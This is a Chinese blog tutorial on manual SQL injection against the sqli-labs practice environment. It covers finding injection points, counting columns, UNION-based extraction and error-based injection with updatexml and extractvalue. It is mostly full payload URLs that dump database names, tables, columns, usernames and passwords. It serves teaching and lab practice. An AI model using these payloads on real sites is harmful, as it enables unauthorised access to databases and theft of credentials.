SQL注入漏洞手工挖掘大全（保姆级干货教学）(1)

Java后时代

于 2024-04-08 12:23:58 发布

阅读量918

点赞数 22

分类专栏： 2024年程序员学习文章标签： sql 数据库

本文链接：https://blog.csdn.net/m0_61068088/article/details/137503700

版权

2024年程序员学习专栏收录该内容

291 篇文章 1 订阅

订阅专栏

判断注入点：

1、数字型

输入？id=1 正常；

输入？id=1’ 报错；

如果是以上情况的话我们就判断可能存在sql数字型注入漏洞。（因为我们输入的错误字符单引号，系统没有过滤并且将它执行了。）

2、字符型

?id=1 and 1=1–+ 正常

?id=1 and 1=2–+ 正常

再通过干扰字符来判断 ?id=1’ and 1=2–+ 不正常

如果是以上结果的话判断就为sql字符型注入漏洞。

判断字段数：

输入order by 2 会查询出数据结果。但是输入order by 3 会报错。这说明该表中存在两个字段。

http://192.168.10.150/sqlilabs/Less-1/?id=1’ order by 4–+

判断回显点：

输入1 union select 1,2 会返回

字符型：

输入-1’ union select 1,2,3…n(n为字段数) 如下图所示：回显位是2和3

获取数据库名称和版本号：

数据库名为security 版本大于5所以存在information_schema表

http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,database(),version()–+

确认数据库里的表名

查到表名为emails,referers,uagents,users

http://192.168.10.150/sqlilabs/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+

确认user表里的字段名(列名)

http://192.168.10.150/sqlilabs/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“users”–+

获取数据

我们获取到了数据

http://192.168.10.150/sqlilabs/Less-1/?id=-1’ union select 1,group_concat(username),group_concat(password) from users–+

报错盲注

（1）报错盲注基本概念

1）报错盲注的定义

报错注入就是利用了数据库的某些机制，人为的制造错误的条件，使得查询的结果能够出现在错误的信息中。

2）报错盲注的前提

页面没有回显点，但是必须SQL语句能够执行错误的信息。

优点：不需要显示位。

缺点：需要有SQL语句的报错信息。

（2）报错盲注步骤

构造目标数据查询语句》选择报错注入函数》构造报错注入语句》拼接报错注入语句。

（3）常用报错函数

Floor、updatexml、extractvalue…等等。

（4）常用报错函数使用语法

1）Updatexml()函数报错注入

Updatexml()则负责修改查询到的内容

语法：updatexml (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称，XML的内容。

第二个参数：XPath_string (Xpath格式的字符串) ，是需要update的位置XPATH路径。

第三个参数：new_value，String格式，更新后的内容

2）extractvalue()函数报错注入

extractvalue()函数作用：MYSQL对XML文档数据进行查询的XPATH函数。

语法： extractvalue(xml_document, xpath_string)

第一个参数：xml_document是string格式，为xml文档对象的名称

第二个参数：xpath_string (xpath格式的字符串)

extractvalue使用时当xpath_string格式出现错误，mysql则会爆出xpath语法错误

判断注入点

?id=1 and 1=1–+ 正常

?id=1 and 1=2–+ 正常

再通过干扰字符来判断 ?id=1’ and 1=2–+ 不正常

如果是以上结果的话判断就为sql字符型注入漏洞。

判断是否存在报错注入

（由于页面没有回显的地方，所以我们就直接判断是否是报错注入）

运用updatexml函数构建基本的语句对页面进行测试是否存在报错注入。

http://192.168.10.150/sqlilabs/Less-5/?id=1’ and updatexml(1,‘~’,3)–+

确定数据库名

看到返回~符号后，说明存在报错注入漏洞。我们再获取数据库名。

http://192.168.10.150/sqlilabs/Less-5/?id=1’ and updatexml(1,concat(0x7e,database()),3)–+

确定数据库的表名

把concat中database()换成正常的查询sql语句就可以了，和联合查询语句如出一辙。

http://192.168.10.150/sqlilabs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ )),3)–+

确定数据库列名

查看user表数据库的列名

http://192.168.10.150/sqlilabs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ )),3)–+

确定数据库信息

可以通过limit来进行翻页查看

http://192.168.10.150/sqlilabs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username) from users )),3)–+ http://192.168.10.150/sqlilabs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(password) from users )),3)–+